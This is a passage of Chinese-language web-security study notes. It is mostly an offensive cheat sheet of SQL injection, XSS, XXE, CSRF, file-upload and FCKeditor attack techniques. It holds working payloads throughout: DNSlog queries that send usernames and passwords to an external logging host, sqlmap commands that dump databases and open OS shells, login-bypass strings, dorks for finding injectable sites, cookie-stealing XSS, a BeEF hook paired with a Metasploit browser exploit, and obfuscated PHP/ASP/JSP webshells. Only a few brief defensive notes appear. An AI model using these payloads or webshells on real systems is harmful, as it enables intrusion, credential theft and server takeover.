    ?id=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
    -- 猜解表名第2位
    ?id=1 union select 1,2,3,sleep(if(mid(table_name,2,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
    -- 使用ASCII码猜解表名
    ?id=1 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97, 0, 1)) from information_schema.tables where table_schema=database() limit 0,1
    

    Dnslog盲注

    MySQL中的load_file()函数可以发起请求。

  • 构造语句,利用load_file()函数发起请求,使用DNSlog接收请求并获得数据。需要注意的是,此函数只能在Windows系统中使用。所以如果要使用DNSlog盲注,那么目标服务器必须是Windows

    select load_file(concat('\\\\', 'test', '.mysql.xxx.ceye.io\\abc'));
    select load_file(concat('\\\\', (select database()), '.mysql.xxx.ceye.io\\abc'));
    
  • 使用concat_ws函数分隔查询的数据。注意DNSlog无法记录特殊符号,这里使用X作分隔符

    select load_file(concat('\\\\', (select concat_ws('X',username,password) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));
    
  • 如果想使用特殊字符分隔,也可以用hex()函数将查询结果转换为16进制,最后将返回的数据进行解码即可

    select load_file(concat('\\\\', (select hex(concat_ws('~',username,password)) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));
    

    宽字节注入

  • 一个字符的大小为1个字节,即称为窄字节。大小为2个字节则称为宽字节。如GBKGB2312等编码都是宽字节。

  • 1个字节为8位,可以表示2^8256个字符,所有的英文字符只有a~z,A~Z48个,所以完全可以使用1个字节表示。而中文远远不止256个,因此需要占2个字节。

    注入原理

  • 某些程序会对用户输入的一些特殊字符进行了处理,如用户输入',则在其前面添加一个\进行转义。

    ' union ...
    

    | 输入 | 处理 | 编码 | 查询 | 结果 | | —- | —- | —- | —- | —- | | ' | \\' | %5C%27 | id=1\\' and | 不能注入 |

  • 而此时如果需要绕过,可以尝试宽字节注入,黑客可以输入如下

    • MySQL在使用GBK编码时,会认为2个字符为1个汉字,即将%df%5C转换成汉字
    • 2个字符中,前一个字符的ASCII码大于128才能到达汉字的范围
      %df' union ...
      
      | 输入 | 处理 | 编码 | 查询 | 结果 | | —- | —- | —- | —- | —- | | %df' | %df\\' | %df%5C%27 | id=運' and | 可以注入 |

测试

  • 黑盒:在可能的注入点后添加%df,之后进行注入测试
  • 白盒

    • 查看MySQL编码是否为GBK
    • 是否使用preg_replace把单引号替换为\'
    • 是否使用addslashes()函数进行转义
    • 是否使用mysql_real_escape_string()函数进行转义

      防御

  • MySQL使用UTF-8编码,不使用宽字节的编码(GBK、日文、韩文),可以从根本上避免宽字节注入

  • 设置MySQL的连接参数,使用二进制的方式连接

    character_set_client=binary
    
  • 使用mysql_real_escape_stringmysql_set_charset('gbk', $conn)

    手工注入

    注入类型

  • 报错注入:报错注入的思路是通过构造特殊的SQL语句,根据返回的报错信息确定SQL注入点,探测到数据库类型和其它有用信息;通过输入单引号',触发数据库异常,通过异常日志诊断数据库类型。

  • 布尔注入:布尔逻辑注入的思路是闭合SQL语句、构造orand逻辑语句、注释多余代码。
  • 联合注入:union语句用于联合前面的select查询语句,合并查询更多信息;一般通过报错和布尔注入确认注入点后,便开始通过union语句来获取有效信息。联合查询语句的字段数需要跟前面查询语句的字段数相同,因此需要先猜测前面查询语句所查询的字段数。

    -- 猜字段数
    ' union select 1 -- '
    ' union select 1,2 -- '
    ' union select 1,2,3 -- '
    ' union select 1,2,3,4 -- '
    -- 获得数据库及用户信息
    ' union select version(), database() -- '
    ' union select user(), database() -- '
    -- 查询所有库名
    ' union select TABLE_SCHEMA from information_schema.tables  -- '
    -- 查询所有库中的所有表名
    ' union select TABLE_NAME from information_schema.tables  -- '
    -- 同时查询表名及对应库名
    ' union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables  -- '
    -- 查询语句字段数 > 联合语句字段数, 可以在联合语句中使用任意数字进行补全
    ' union select 1,2,3,4,column_name from users -- '
    -- 查询语句字段数 < 联合语句字段数, 可以在联合语句中使用concat()函数将多个字段组合查询
    ' union select column1, concat(column2,' ',column3,' ',column4) from users -- '
    
  • 时间盲注:某些数据库对错误信息做了安全配置,无法通过以上方式探测注入点。此时,可通过sleep()函数来探测注入点。思路是当sleep(n)函数被带入数据库执行时,网站会延时n秒后再返回信息。因此可判断是否存在注入点。

    -- 闭合单引号,调用sleep()函数,注释后面多余代码
    1' and sleep(10) --
    

    Payload

    -- 报错注入
    select * from news where id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
    -- 布尔型注入
    select * from news where id = 1 or 1=1;
    select * from news where id = 1 and 1=2;
    -- 联合注入
    select * from news where id = 1 union select 1,2,3;  多语句查询注入
    select * from news where id = 1;select 1;
    -- 时间盲注
    select * from news where id = 1 and sleep(5);
    

    注入流程

  1. 判断注入点:通过构造时间盲注或报错注入返回结果判断是否存在注入点
    • id=1',在1后面加入单引号,页面出错
    • id=1 and 1=1正常,id=1 and 1=2错误
    • id=1 and '1'=1正常,id=1 and '1'=1错误
  2. 判断字段数:order by
    • 原理:order by语句用于根据指定的对结果集进行排序,所以可从1开始尝试,直至第n时返回错误页面(表示不能按第n列排序,即第n列不存在),因此可知该表共有n-1列。
    • ?id=1 and 1=1 order by 1...
  3. 猜表名或字段名:exists()
    • 猜表名:?id=1 and exists (select * from admin)
    • 猜字段:?id=1 and exists (select username from admin)
  4. 判断回显点:union,联合判断回显点
    • 原理:union语法是在查询时,如有两条查询语句,前后语句的字段数需一致。
    • ?id=1 and 1=2 union select 1,2... from table_name
  5. 查询相关内容
    • 猜表名
    • 猜字段名
    • 查询字段内容
    • 其他:表名,字段名很关键。
      • 工具爆破(SQLMap)
      • 通过数据库版本不同,得到利用信息
      • 偏移注入跑出想要的值

        自动注入

        自动注入主要利用软件SQLmap,一个国内外著名的安全稳定性测试工具,可以用来进行自动化监测,利用SQL注入漏洞,获取数据库服务器的权限。具有强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

常用参数

--current-db  # 获取当前库名
-D "database_name" --tables  # 获取指定库的所有表
-D "database_name" -T "table_name" --columns  # 获取指定库指定表的所有字段
-D "database_name" --tables -T "table_name" -C "username, password" --dump  # 下载指定库指定表指定字段
-p # 目标url中参数过多时,可指定注入参数
--dbms  # 指定目标url数据库类型
--batch  # 自动化完成
--dbs  # 获取全部库名
--users  # 获取全部用户
--current-user  # 获取当前用户

GET注入

# GET基本注入流程 #
# 1.获取当前数据库
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db
# 2.获取指定表
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" --tables
# 3.获取字段
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" --columns
# 4. 获取数据
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" -C "column1, column2" --dump

POST注入

POST注入有2种:

  • 1种是先通过Burp截获并保存POST的数据包,再使用-r参数指定数据包,同时可以使用-p指定参数

    $  python sqlmap.py -r 1.txt --dbs
    $  python sqlmap.py -r 1.txt -p "username" --dbs
    
  • 1种是通过--data参数,以key=value的形式指定需要POST的参数

    $  python sqlmap.py -u "http://www.abc.com" --data "txtUserName=admin%20'%20or%20'1'%3D'1'%20--%20&txtPassword=1" --dbs
    

    Cookie注入

    通过--cookie参数传入Cookies进行注入

$ sqlmap -u "http://www.abc.com/index.php?id=1" --cookie "PHPSESSID=Your_Cookies" --batch

数据获取

--dump-all  # 下载全部数据库
--dump-all -exclude-sysdbs  # 下载除系统库外的数据库
-D "database_name" --tables -T "table_name" --dump  # 下载指定库指定表

提权操作

# 获取数据库shell
--sql-shell
sql-shell> select * from users
# 系统方面权限可能不足
# 获取系统shell
--os-shell
# 调用系统cmd
--os-cmd=ls  # 等号后面为cmd命令

代理

# 可通过参数 --proxy=[http|https|socks4|socks5]://address:port 挂载代理
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db --proxy=http://1.2.3.4:80

其它

万能密码

-- asp aspx
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
用户名:' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码:1
-- PHP
'or 1=1/*
用户名: something
密码:' or '1'='1
-- jsp 万能密码
1'or'1'='1
admin' or 1=1/*

搜索可能存在注入的页面

# Google
 inurl:.php?id=
 inurl:.jsp?id=
 inurl:.asp?id=
 inurl:/admin/login.php

# Baidu
 inurl:news.php?id= site:edu.cn
 inurl:news.asp?id= site:edu.cn
 inurl:news.aspx?id= site:edu.cn

# 搜索引擎查询后台
 site: 域名 intitle:登录   # 指定域名后台
 inurl: wp-login.php     # Wordpress后台
 inurl: admin.php        # Thinkphp框架后台

提交方式

  • GET注入
  • POST登录框注入
  • Cookie验证注入
  • HTTP头部注入

    参数类型

  • 数字型

    $id = $_GET['id']
    select * from user where id=1
    
  • 字符型

    $id = $_GET['id']
    select * from user where id='admin'  -- 考虑关于引号的过滤
    
  • 搜索型

    $id = $_GET['id']
    select * from user where id like '%admin%'  -- 考虑关于引号和百分号的过滤
    

    Sqli-Labs搭建

  1. 安装并启动WAMP
  2. 下载sqli-labs

    • Windows下直接Clone压缩包,然后解压到wamp下的www目录
    • Linux下可使用git
      $ git clone https://github.com/Audi-1/sqli-labs.git
      
  3. 打开/www/sqli-labs/sql-connections/db-creds.inc文件,将$dbuser$dbpass修改为自己的数据库账号密码;

  4. 修改4个文件setup-db.phpsetup-db-challenge.phpsql-connect.phpsql-connect-1.php

    因为从PHP5开始弃用mysql.dll,且在PHP7将其删除。而sqli-labs中使用了mysql_xxx()等函数,所以需要这几个文件。

    • 进入/www/sqli-labs/sql-connections目录,找到前面3个文件;
    • 每个文件都要修改以下3处:
      # mysql_query($sql) 修改为 mysqli_query($con,$sql)
      # mysql_error() 修改为 mysqli_error($con)
      # 其它全部的mysql_xxx() 修改为 mysqli_xxx()
      
  5. 最后,打开127.0.0.1/sqli-labs,点击Setup/reset Database for labs即可

    SQLMap安装

  6. 安装Python2

  7. 下载SQLMap
  8. 解压SQLMap,并将解压出来的文件夹移动到Python2的安装目录下(这里是F:\python2),然后将该文件夹重命名为sqlmap
    小记 - Web安全 - 图1
  9. 在桌面新建快捷方式,位置为cmd,名称随意
    小记 - Web安全 - 图2
  10. 右键该快捷方式,修改起始位置为刚才的sqlmap目录
    小记 - Web安全 - 图3
  11. 最后双击打开该快捷方式,输入命令测试是否成功

    图中使用python2是因为本机电脑python2和python3共存,于是将修改了python2的命令

$ sqlmap --version  # Linux下使用
$ python2 sqlmap.py --version   # Windows下使用
# 1.3.3.31#dev
  1. 小记 - Web安全 - 图4

    SQLMap常见参数

    -u # 目标url
    --cookie # 使用
    --level  # 测试等级(1-5),等级越高测试包括的范围越关
    --dbs # 列出库
    --tables  # 列出表
    --columns # (-C,-T,-D)查询字段(字段值、表名、库名)
    --flush-session
    -T -columns # 跑出列名
    -T admin -C “username,password”
    --dump-all  # 将目标里所有内容全部输出
    

    MD5加密

    MD5是不可逆的,它是一种散列函数,使用Hash算法。在计算过程中原文部分信息丢失。因此不能被破解,只能撞库攻击

XSS

跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。

XSS类型

  • 反射型:反射型XSS攻击,又称为非持久型跨站脚本攻击,它是最常见的XSS类型。漏洞产生的原因是攻击者注入的数据反映在响应上,一个典型的非持久型XSS包含一个带XSS攻击向量的链接,即每次攻击需要用户点击。
  • 存储型:存储型XSS又称为持久型跨站点脚本,持久型XSS相比非持久型XSS攻击危害更大。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。
  • DOM型:从效果上来说也是反射型XSS,其通过修改页面DOM节点而形成XSS。 | XSS类型 | 存储型 | 反射型 | DOM型 | | —- | —- | —- | —- | | 数据存储 | 数据库 | URL | URL | | 输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |

手工XSS

绕过

  • 大小写绕过

    <ScriPt>ALeRt("XSS");</SCRipt>
    
  • 闭合单双引号

    "><script>alert("XSS");</script>
    
  • 尝试触发onclick等事件绕过

    onclick="alert(1)"
    
  • 双写绕过

    <scrSCRIPTipt>alert(1)</scrSCRIPTipt>
    "" oncliconclickk="alert(1)"
    
  • 字符编码绕过:采用html、URL、Base64等各种编码

    • URL编码
      %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
      
  • HTML编码

    <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">xss弹窗</a>
    
  • 字符实体

    < &lt;
    > &gt;
    = &equals;
    ( &lpar;
    ) &rpar;
    
    • 绕过magic_quotes_gpc:针对开启了魔术引号的网站,可以通过JavaScrip中的字符串方法String.fromCharCode,将ASCII转换为字符串
      # 利用String.fromCharCode方法将 alert("XSS"); 转换为
      <script>
      String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41,59)
      </script>
      

      Payload

      <script>alert("XSS")</script>
      <script>alert(document.cookie)</script>
      "><a onclick=alert(document.cookie)>
      # img
      <img src=x onerror=alert('XSS')>
      <img src="javascript:alert('XSS');">
      <img src="http:www.baidu.com/xss.js"></img>
      

      自动XSS

      BeEF简介

      BeEF(Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。

BeEF功能

├── 信息收集
   └── 网络发现
   └── 主机信息
   └── Cookie获取
   └── 会话劫持
   └── 键盘记录
   └── 插件信息
├── 持久化控制
   └── 确认弹框
   └── 小窗口
   └── 中间人
├── 社会工程
   └── 点击劫持
   └── 弹窗告警
   └── 虚假页面
   └── 钓鱼页面
├── 渗透攻击
   └── 内网渗透
   └── Metasploit
   └── CSRF攻击
   └── DDoS攻击

BeEF基础

  • 启动Apache和BeEF
    # 启动Apache
    # systemctl restart apache2
    $ service apache2 start 
    $ netstat -an | grep :80    # 查看80端口
    >> tcp6       0      0 :::80                   :::*                    LISTEN
    
# BeEF可以在Kali中点击打开,账号密码均为beef
# 访问页面
[*]  Web UI: http://127.0.0.1:3000/ui/panel
# 内置脚本
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
  • 攻击:Current Browser > Commands
    命令颜色:
    绿色 对目标主机生效且不可见(不会被发现)
    橙色 对目标主机生效但可能可见(可能会被发现)
    灰色 对目标主机未必生效(可自行验证)
    红色 对目标主机不生效
    

配合MSFGetShell

攻击思路:攻击机通过MSF模块监听指定端口,然后通过BeEF对已植入XSS的靶机进行攻击,将靶机的浏览器重定向至攻击机所监听的端口。

  • 先通过BeEF插入XSS
  • MSF配置模块并开始监听

    # 此模块针对IE7/8/9
    use exploit/windows/browser/ie_execcommand_uaf  # 选择模块
    show options             # 查看当前配置
    set SRVHOST 192.168.1.1  # 攻击机IP
    set SRVPORT 8888         # 攻击机监听端口
    set URIPATH /            # 网站路径
    exploit                  # 开启监听
    # Getshell后进行利用
    sessions -i       # 查看shell
    sessions -i [id]  # 选择指定shell
    
  • 通过BeEF控制靶机,将浏览器重定向至攻击机的指定端口

    XXE

    XXE(Xml External Entity Injection)XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取命令执行内网端口扫描攻击内网网站发起Dos攻击等危害。 XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

基本语法

<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
  <!ENTITY name "Feng" >
]>
<Name>&name;</Name>
<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
  <!ENTITY abc SYSTEM "outside.txt" >
]>
<user>&abc;</user>

Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
# Base64
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

XXE 绕过

整理众多 CTF 大赛中的 XXE 题,这里汇总了一些常用的绕过姿势(若有错误、不全,欢迎大佬评论区指正,小弟感激不尽🤝)

大小写绕过

利用其正则匹配的不严格,通过大小写绕过

html 实体编码绕过

如果过滤了http等协议,可以利用实体编码绕过:

<?xml version="1.0" ?>
<!DOCTYPE test [ 
<!ENTITY % a " 
    <!ENTITY %  b SYSTEM 'http://127.0.0.1/test.dtd'> 
"> 
    %a;
    %b; 
]> 
<test>
    &xxe;
</test>

data:// 协议绕过

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMjcuMC4wLjEvaGFjay5kdGQnPg=="> 
    %a; 
    %b; 
]>
<test>
    &xxe;
</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://127.0.0.1/test.dtd'>

file:// 协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [ 
    <!ENTITY % a SYSTEM "file:///var/www/uploads/test.jpg">
    %a; 
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://127.0.0.1/test.dtd'>

php://filter协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [ 
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/test.jpg">
    %a;
]>
<test>
    &xxe;
</test>
<!--上传文件-->
<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

进行编码:

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/test.jpg">
    %a;
]>
<test>
    &xxe;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

CSRF

CSRF(Cross-Site Request Forgery)跨站请求伪造。利用用户已登录的身份,在用户不知情的情况下,以用户的名义完成非法操作。

恶意代码示例

<!-- index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF</title>
</head>
<body onload="submitForm()">
    <form id="hackForm" action="http://127.0.0.1/csrf.php" method="post">
        <input type="hidden" name="toUser" value="黑客账号">
        <input type="hidden" name="price" value="100">
    </form>
</body>
<script>
    function submitForm() {
        document.getElementById("hackForm").submit();  // 页面加载自动提交表单
    }
</script>
</html>
<!-- 可通过iframe表单提高隐蔽性 -->
<iframe src="_index_" width="0" height="0"></iframe>

文件上传

Web应用程序通常会提供一个文件上传功能,如上传头像。若web应用程序未对上传的文件进行限制,或对文件内容进行过滤,攻击者可以上传webshell,获取web应用程序的控制权限

木马

  • 一句话木马,即整个shell代码量只有一行,一般是系统执行函数
  • 小马,体积小,容易隐藏,隐蔽性强。不过功能也少,一般只有上传等功能。
  • 大马,代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测。大马体积比较大,隐蔽性不好,而大多代码如不加密很容易被杀毒软件检测出来。但是功能多,一般包括提权命令、磁盘管理、数据库连接等。
  • 基本木马

    # $_REQUEST是在网页端输入变量访问
    # $_GET,$_POST则是通过工具连接,基于C/S架构
    <?php @eval($_XXX['naraku']);?>
    <?php eval(@$_XXX['naraku']); ?>    # eval,使用php函数,如phpinfo()
    <?php system($_XXX['naraku']); ?>   # system,使用Linux系统命令,如ls
    
  • 简单变形

    ASP:<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7
    ASPX:<%@ Page Language = Jscript %>
    <%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
    "a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
    "[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
    ","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
    (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7
    JSP:<%
    if(request.getParameter("f")!=null)(new 
    java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %>
    
  • 图片马

    • 使用Winhex十六进制打开图片,插入一句话
    • 右键图片属性,在详细信息-版权内插入一句话
    • CMD制作一句话:copy /b 1.jpg+1.asp 2.jpg
  • 搜索某目录下文件是否含有木马
    $ fgrep -R 'eval($_' /var/www/dvwa
    

    解析漏洞

    木马文件就算被成功上传,如果没有被web容器以脚本文件解析执行,也不会对服务器造成威胁。所以往往在利用文件上传漏洞时,会与web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。

Apache

  • 后缀解析漏洞:Apache是从右到左开始判断解析文件后缀,如果为不可识别解析,则继续往左判断。如shell.php.abc.rar,其中.abc.rar这两种后缀都不可识别解析,继续往左就是shell.php,则此时该文件就被Apache解析成PHP文件
  • htaccess文件解析漏洞:如果.htaccess可被执行且可被上传,那么可以在其中写入以下代码。然后上传shell.jpg图片马,此时该木马将被解析为php

    <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    IIS6

    IIS6.0

  • 目录解析漏洞:在网站下建立xxx.asp文件夹,该文件夹内任何后缀的文件都将被IIS当做asp脚本文件来解析并执行

  • 文件解析漏洞:文件名分号后面不被解析,如shell.asp;.jpg,会被看成shell.asp。可通过抓包改包绕过上传的后缀白名单
  • 其它:默认可执行文件除了.asp,还有.asa/.cer/.cdx

    IIS7

    IIS7.0 / IIS7.5 / Nginx<8.03

  • 畸形解析漏洞:在默认Fast-CGI开启的情况下,上传一个1.jpg文件,内容如下。然后去访问1.jpg/.php,会把图片当作PHP文件解析

  • 那么就会在该目录下生成一个shell.php文件

    <?PHP fputs(fopen('shell.php', 'w'), '<?php eval()?>'); ?>
    

    Nginx

    Nginx<=0.7.65 / Nginx<=0.8.37

  • 空字节代码执行漏洞:在图片1.jpg中嵌入PHP代码,然后通过访问1.jpg%00.php来执行其中代码

    PHP FastCGI取值错误解析漏洞

  • 前提条件:网站开启了cgi.fix_pathinfo并且未设置security.limit_extensions。开启了cgi.fix_pathinfo后,如果所执行文件不存在,会继续查找上一级文件是否存在。而security.limit_extensions选项则是用于限制可执行的文件类型。

  • 假设网站存在1.jpg文件,不存在1.php文件。当访问http://www.xxx.com/1.jpg/1.php时,页面返回的是**1.jpg**按php解析的结果。原因是PHP配置文件中有个CGI的配置选项,某些php版本中会默认开启,此时访问上面的URL,1.php是不存在的文件,php会向前递归解析,造成解析漏洞。

    上传漏洞

    filepath漏洞

  • 可用于突破自动命名规则

    • 改变文件上传路径:如filepath默认路径为/upload/,将其修改为/upload/x.asp/,配合IIS6目录解析漏洞使用,需要一定的权限,否则无法成功创建目录。
    • 直接改变文件名称:将默认路径/upload/修改为/upload/x.asp;.abc.jpg
  • %00截断
  • 上传文件时文件名修改为x.php%00jpg,然后将%00右键进行URL decode

    • 上传文件时将文件名修改为x.php jpg,然后通过抓包在Hex栏处找到文件名中的空格,编码为20,将编码修改为00

      编辑器漏洞

      FCKEditor

      查看编辑器版本

      http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
      http://127.0.0.1/FCKeditor/_whatsnew.html
      
  • Version=2.2Apache+Linux环境下,上传文件时后面即可.即可突破

  • Version<=2.42:在处理PHP上传的地方未对Media类型进行上传文件类型的控制,导致用户上传任意文件。

    <form id="frmUpload" enctype="multipart/form-data"action="目标上传路径" method="post">
      Upload a new file: <br>
      <input type="file" name="NewFile" size="50"> <br>
      <input id="btnUpload" type="sublimt" value="Upload">
    </form>
    

    测试上传点

    FCKeditor/editor/filemanager/browser/default/connectors/test.html
    FCKeditor/editor/filemanager/upload/test.html
    FCKeditor/editor/filemanager/connectors/test.html
    FCKeditor/editor/filemanager/connectors/uploadtest.html
    FCKeditor/_samples/default.html
    FCKeditor/_samples/asp/sample01.asp
    FCKeditor/_samples/asp/sample02.asp
    FCKeditor/_samples/asp/sample03.asp
    FCKeditor/_samples/asp/sample04.asp
    FCKeditor/_samples/default.html
    FCKeditor/editor/fckeditor.htm
    FCKeditor/editor/fckdialog.html
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
    FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
    fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
    fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
    

    突破限制

    上传限制

    上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等

    文件名限制

    文件上传时可能会将文件名中的.修改成_

  • 空格绕过:将文件名修改为1.php+空格绕过,不过此方法只支持Windows系统,而*nix不支持

  • 二次上传绕过:将文件名修改为1.asp;.jpg,此时文件名可能会自动变成1_asp;.jpg,再次上传文件,此时第二个上传的文件即有可能会被重命名为1.asp(1);.jpg

    IIS6.0突破文件夹限制
  • 访问[http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp](http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp)。此时会在网站目录下递归创建xx.asp/x.asp目录,但是此处内层目录x.asp会被重命名为x_asp,即创建了/xx.asp/x_asp,可以将文件上传到xx.asp目录,配合IIS6.0目录解析漏洞进行利用。

  • 另外也可以在上传时通过Burp抓包,将CurrentFolder=%25修改为CurrentFolder=/xx.asp。原理同上,其中%2F即当前目录/的URL编码

    Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
    FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
    

    文件解析限制

    通过Fckeditor编辑器在文件上传页面中,创建1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

    列目录

  • fckeditorFCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。

  • 根据XML返回信息查看网站目录

    http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
    
  • 获取当前文件夹

    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    
  • 浏览E盘文件

